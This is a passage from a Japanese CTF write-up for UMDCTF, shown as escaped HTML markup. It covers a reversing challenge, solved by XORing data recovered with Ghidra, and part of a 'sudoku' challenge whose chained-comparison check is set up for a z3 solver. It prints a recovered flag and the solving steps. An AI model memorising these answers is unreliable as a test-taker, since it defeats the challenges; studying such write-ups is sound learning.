&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_00402000&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">j&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_0040211c&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">j&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">goto&lt;/span> &lt;span class="n">LAB_0040109a&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">j&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">j&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mh">0x34&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">DAT_0040209d&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="n">j&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nl">LAB_0040109a&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">syscall&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/* WARNING: Bad instruction - Truncating control flow here */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">halt_baddata&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>入力値&lt;code>&amp;amp;DAT_0040209c&lt;/code>と鍵&lt;code>&amp;amp;DAT_00402034&lt;/code>とをXORした結果と，値&lt;code>&amp;amp;DAT_00402000&lt;/code>が一致するかを求めるプログラムである．
なので，鍵&lt;code>&amp;amp;DAT_00402034&lt;/code>と値&lt;code>&amp;amp;DAT_00402000&lt;/code>をXORしてあげればよさそう．&lt;/p>
&lt;p>鍵&lt;code>&amp;amp;DAT_00402034&lt;/code>と値&lt;code>&amp;amp;DAT_00402000&lt;/code>は16進で値が確認できる．&lt;/p>
&lt;p>Ghidraで値のコピーは，範囲選択後，右クリック &amp;gt; Copy Special&amp;hellip; &amp;gt; Python List などで可能．&lt;br>
データ型を変えたい場合は，範囲選択後，右クリック &amp;gt; Data &amp;gt; TerminatedUnicode などで可能．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">DAT_00402000&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mh">0x20&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x22&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x20&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x26&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x35&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x37&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x07&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x46&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x00&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x17&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x44&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x35&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x52&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x0c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x70&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x28&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x37&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x70&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x16&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x76&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x50&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x69&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x6e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x6c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x12&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x69&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x2d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x38&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x06&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x23&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x11&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x3d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x2f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x00&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x02&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x68&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x45&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x3b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x64&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x20&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x05&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DAT_00402034&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mh">0x75&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x6f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x64&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x65&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x61&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x71&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x6f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x75&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x75&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x76&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x69&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x45&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x60&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x70&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x7f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x65&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x77&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x63&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x74&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x68&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x42&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x53&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x45&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x03&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x3d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x7f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x31&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x58&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x75&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x46&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x75&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x44&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x60&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x78&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x6a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x74&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x51&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x76&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x79&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x0b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x2d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x75&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x45&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x66&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x78&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">b&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">zip&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DAT_00402000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">DAT_00402034&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">unicode_str&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">r&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">unicode_str&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># UMDCTF{r3v3R$E-i$_Th3_#B3ST#_4nT!-M@lW@r3_t3chN!Qu3}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Pythonを実行するとflagが得られた．&lt;/p>
&lt;p>&lt;code>UMDCTF{r3v3R$E-i$_Th3_#B3ST#_4nT!-M@lW@r3_t3chN!Qu3}&lt;/code>&lt;/p>
&lt;h2 id="nyt">nyt&lt;/h2>
&lt;h3 id="-sudoku-375pt-134-solves">✔ sudoku (375pt [134 Solves])&lt;/h3>
&lt;blockquote>
&lt;p>try this numbers game, minus the math&lt;br>
nc ~&lt;/p>
&lt;/blockquote>
&lt;p>nc で接続すると，入力受付画面となり，適当に入力するとエラーが表示された．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc ~
input: 1111
Traceback (most recent call last):
File &amp;#34;/app/run&amp;#34;, line 2, in &amp;lt;module&amp;gt;
(s := [*map(int,input(&amp;#34;input: &amp;#34;))]) is not s[69] == s[68] &amp;gt; s[58] == s[26] &amp;gt; s[18] == s[43] &amp;gt; s[28] == s[48] == s[78] &amp;gt; s[5] == s[62] == s[72] &amp;gt; s[70] == s[51] == s[2] &amp;gt; s[31] == s[57] &amp;gt; s[41] == s[10] &amp;gt; s[24] == s[55] == s[36] == s[39] &amp;gt; 0 != s[45] != 0 != s[30] != 0 != s[32] != 0 != s[42] != 0 != s[16] != 0 != s[80] != 0 != s[44] != 0 != s[8] != 0 != s[72] != 0 != s[43] != 0 != s[4] != 0 != s[12] != 0 != s[78] != 0 != s[79] != 0 != s[66] != 0 != s[62] != 0 != s[41] != 0 != s[25] != 0 != s[31] != 0 != s[34] != 0 != s[1] != 0 != s[77] != 0 != s[69] != 0 != s[68] != 0 != s[5] != 0 != s[11] != 0 != s[18] != 0 != s[65] != 0 != s[59] != 0 != s[3] != 0 != s[55] != 0 != s[73] != 0 != s[39] != 0 != s[21] != 0 != s[76] != 0 != s[54] != 0 != s[22] != 0 != s[27] != 0 != s[60] != 0 != s[67] != 0 != s[61] != 0 != s[63] != 0 != s[19] != 0 != s[9] != 0 != s[6] != 0 != s[57] != 0 != s[50] != 0 != s[29] != 0 != s[52] != 0 != s[14] != 0 != s[49] != 0 != s[53] != 0 != s[64] != 0 != s[13] != 0 != s[36] != 0 != s[74] != 0 != s[15] != 0 != s[7] != 0 != s[47] != 0 != s[2] != 0 != s[26] != 0 != s[37] != 0 != s[10] != 0 != s[28] != 0 != s[51] != 0 != s[71] != 0 != s[17] != 0 != s[75] != 0 != s[24] != 0 != s[33] != 0 != s[70] != 0 != s[35] != 0 != s[46] != 0 != s[58] != 0 != s[56] != 0 != s[48] != 0 != s[38] != 0 != s[20] != 0 != s[0] != 0 != s[40] != 0 != s[23] != s[31] != s[53] != s[43] != s[24] != s[48] != s[74] != s[50] != s[29] != s[42] != s[7] != s[29] != s[44] != s[68] != s[67] != s[37] != s[48] != s[22] != s[28] != s[72] != s[13] != s[67] != s[65] != s[61] != s[35] != s[59] != s[54] != s[18] != s[53] != s[6] != s[72] != s[76] != s[64] != s[7] != s[33] != s[43] != s[61] != s[49] != s[65] != s[43] != s[37] != s[1] != s[65] != s[6] != s[31] != s[2] != s[9] != s[73] != s[60] != s[25] != s[26] != s[78] != s[76] != s[70] != s[16] != s[12] != s[17] != s[57] != s[48] != s[43] != s[35] != s[15] != s[80] != s[69] != s[52] != s[46] != s[63] != s[25] != s[17] != s[2] != s[66] != s[52] != s[9] != s[59] != s[8] != s[35] != s[67] != s[51] != s[55] != s[14] != s[75] != s[4] != s[14] != s[10] != s[5] != s[66] != s[47] != s[31] != s[43] != s[64] != s[44] != s[11] != s[2] != s[3] != s[52] != s[30] != s[27] != s[35] != s[32] != s[8] != s[20] != s[46] != s[4] != s[36] != s[71] != s[59] != s[5] != s[56] != s[17] != s[50] != s[25] != s[47] != s[11] != s[28] != s[30] != s[13] != s[7] != s[28] != s[42] != s[1] != s[25] != s[19] != s[71] != s[60] != s[8] != s[34] != s[64] != s[30] != s[76] != s[29] != s[41] != s[70] != s[15] != s[13] != s[60] != s[33] != s[71] != s[23] != s[2] != s[57] != s[78] != s[69] != s[33] != s[64] != s[79] != s[20] != s[44] != s[75] != s[30] != s[11] != s[3] != s[72] != s[15] != s[79] != s[41] != s[36] != s[32] != s[44] != s[71] != s[34] != s[50] != s[78] != s[12] != s[2] != s[73] != s[33] != s[8] != s[49] != s[24] != s[17] != s[21] != s[40] != s[30] != s[4] != s[72] != s[31] != s[40] != s[65] != s[8] != s[18] != s[75] != s[53] != s[14] != s[18] != s[4] != s[41] != s[17] != s[18] != s[23] != s[9] != s[71] != s[68] != s[55] != s[64] != s[32] != s[29] != s[75] != s[3] != s[23] != s[56] != s[25] != s[42] != s[32] != s[28] != s[10] != s[53] != s[4] != s[11] != s[0] != s[61] != s[27] != s[69] != s[25] != s[57] != s[58] != s[16] != s[50] != s[71] != s[13] != s[68] != s[1] != s[24] != s[41] != s[19] != s[78] != s[73] != s[39] != s[53] != s[37] != s[70] != s[13] != s[36] != s[20] != s[15] != s[49] != s[48] != s[77] != s[17] != s[8] != s[12] != s[19] != s[59] != s[20] != s[41] != s[76] != s[21] != s[16] != s[61] != s[44] != s[60] != s[62] != s[66] != s[22] != s[49] != s[35] != s[51] != s[49] != s[53] != s[40] != s[9] != s[27] != s[31] != s[11] != s[29] != s[37] != s[12] != s[18] != s[69] != s[2] != s[5] != s[18] != s[10] != s[4] != s[28] != s[9] != s[50] != s[46] != s[16] != s[48] != s[58] != s[0] != s[72] != s[10] != s[13] != s[79] != s[34] != s[9] != s[66] != s[17] != s[45] != s[75] != s[7] != s[15] != s[59] != s[50] != s[12] != s[74] != s[65] != s[51] != s[79] != s[33] != s[80] != s[78] != s[56] != s[57] != s[26] != s[80] != s[20] != s[4] != s[3] != s[31] != s[67] != s[36] != s[7] != s[51] != s[58] != s[63] != s[13] != s[54] != s[66] != s[8] != s[80] != s[47] != s[23] != s[69] != s[47] != s[73] != s[4] != s[79] != s[7] != s[44] != s[28] != s[66] != s[40] != s[55] != s[79] != s[43] != s[68] != s[40] != s[6] != s[27] != s[16] != s[26] != s[17] != s[76] != s[15] != s[36] != s[60] != s[67] != s[53] != s[24] != s[77] != s[51] != s[27] != s[22] != s[53] != s[73] != s[18] != s[57] != s[50] != s[26] != s[37] != s[58] != s[25] != s[12] != s[26] != s[70] != s[63] != s[45] != s[70] != s[12] != s[29] != s[28] != s[52] != s[22] != s[24] != s[45] != s[19] != s[56] != s[71] != s[67] != s[49] != s[68] != s[61] != s[77] != s[19] != s[23] != s[34] != s[33] != s[59] != s[34] != s[51] != s[43] != s[62] != s[59] != s[32] != s[75] != s[11] != s[6] != s[74] != s[70] != s[29] != s[46] != s[12] != s[54] != s[60] != s[26] != s[56] != s[58] != s[77] != s[1] != s[48] != s[53] != s[27] != s[40] != s[0] != s[47] != s[3] != s[6] != s[39] != s[40] != s[1] != s[14] != s[27] != s[28] != s[69] != s[30] != s[70] != s[42] != s[41] != s[52] != s[11] != s[32] != s[13] != s[61] != s[67] != s[24] != s[37] != s[21] != s[74] != s[1] != s[6] != s[47] != s[5] != s[50] != s[37] != s[16] != s[1] != s[55] != s[6] != s[21] != s[65] != s[32] != s[15] != s[10] != s[30] != s[22] != s[37] != s[31] != s[39] != s[77] != s[78] != s[21] != s[58] != s[42] != s[46] != s[76] != s[77] != s[16] != s[39] != s[75] != s[28] != s[3] != s[79] != s[52] != s[10] != s[64] != s[72] != s[47] != s[9] != s[69] != s[22] != s[6] != s[68] != s[51] != s[16] != s[29] != s[45] != s[32] != s[7] != s[62] != s[80] != s[49] != s[32] != s[20] != s[7] != s[55] != s[35] != s[16] != s[24] != s[78] != s[60] != s[69] != s[26] != s[74] != s[77] != s[35] != s[65] != s[14] != s[22] != s[39] != s[10] != s[73] != s[14] != s[74] != s[46] != s[38] != s[52] != s[20] != s[35] != s[39] != s[51] != s[64] != s[62] != s[34] != s[7] != s[45] != s[11] != s[23] != s[66] != s[12] != s[56] != s[63] != s[29] != s[26] != s[73] != s[5] != s[23] != s[72] != s[63] != s[30] != s[15] != s[44] != s[79] != s[38] != s[76] != s[45] != s[21] != s[41] != s[46] != s[37] != s[74] != s[24] != s[19] != s[34] != s[54] != s[36] != s[79] != s[32] != s[80] != s[71] != s[61] != s[55] != s[74] != s[58] != s[1] != s[38] != s[42] != s[45] != s[77] != s[27] != s[39] != s[14] != s[6] != s[23] != s[0] != s[22] != s[43] != s[55] != s[65] != s[15] != s[8] != s[62] != s[12] != s[57] != s[38] != s[4] != s[39] != s[18] != s[9] != s[5] != s[75] != s[52] != s[27] != s[58] != s[35] != s[80] != s[54] != s[71] != s[5] != s[53] != s[0] != s[3] != s[46] != s[79] != s[62] != s[54] != s[17] != s[62] != s[33] != s[47] != s[2] != s[6] != s[0] != s[39] != s[61] != s[60] != s[47] != s[78] != s[41] != s[77] != s[0] != s[16] != s[74] != s[29] != s[38] != s[58] != s[39] != s[5] != s[19] != s[21] != s[48] != s[63] != s[38] != s[56] != s[34] != s[60] != s[80] != s[34] != s[55] != s[21] != s[24] != s[31] != s[49] != s[55] != s[62] != s[51] != s[33] != s[78] != s[17] != s[19] != s[76] != s[24] != s[58] != s[61] != s[51] != s[0] != s[14] != s[5] != s[4] != s[52] != s[72] != s[75] != s[42] != s[63] != s[41] != s[3] != s[20] != s[13] != s[76] != s[63] != s[15] != s[64] != s[36] != s[68] != s[21] != s[1] != s[56] != s[59] != s[49] != s[37] != s[77] != s[21] != s[14] != s[40] != s[52] != s[36] != s[61] != s[54] != s[57] != s[8] != s[54] != s[67] != s[55] != s[33] != s[25] != s[48] != s[38] != s[25] != s[78] != s[45] != s[46] != s[36] != s[3] != s[30] != s[9] != s[19] != s[57] != s[66] != s[73] != s[69] != s[40] != s[28] != s[45] != s[38] != s[70] != s[10] != s[76] != s[42] != s[44] != s[54] != s[2] != s[62] != s[18] != s[47] != s[26] != s[46] != s[70] != s[64] != s[13] != s[44] != s[45] != s[41] != s[38] != s[20] != s[49] != s[43] != s[7] != s[11] != s[42] != s[57] != s[1] != s[63] != s[64] != s[20] != s[65] != s[68] != s[35] != s[0] != s[2] != s[72] != s[30] != s[66] != s[69] != s[5] != s[34] != s[43] != s[67] != s[22] != s[9] != s[56] != s[42] != s[48] != s[31] != s[22] != s[40] != s[74] != s[68] != s[14] != s[31] != s[0] != s[27] != s[66] != s[18] != s[2] != s[8] != s[71] != s[62] != s[57] != s[63] != s[10] != s[11] != s[72] != s[70] != s[50] != s[19] != s[26] != s[33] != s[54] != s[68] != s[60] != s[59] != s[65] != s[80] != s[73] != s[23] != s[50] != s[56] != s[48] != s[67] != s[44] != s[36] != s[38] != s[3] != s[10] != s[75] != s[73] != s[25] != s[80] != s[59] != s[23] is not print(open(&amp;#34;flag.txt&amp;#34;).read())
IndexError: list index out of range
&lt;/code>&lt;/pre>&lt;p>これはPythonにおける複数の比較演算子の連結記法（連鎖比較; chained comparison）であり，&lt;code>z3-solver&lt;/code>を用いることで解くことが出来そう．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="err">!&lt;/span>&lt;span class="n">pip&lt;/span> &lt;span class="n">install&lt;/span> &lt;span class="n">z3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">solver&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">z3&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">parse_constraint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">line&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tokens&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">findall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;s\[\d+\]|\d+|==|!=|&amp;gt;=|&amp;lt;=|&amp;gt;|&amp;lt;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">line&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># s[...]や数字をZ3のオブジェクトに変換する&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">resolve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">startswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;s[&amp;#39;&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">index&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">index&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">conditions&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">tokens&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">left&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">resolve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">tokens&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])&lt;/span>
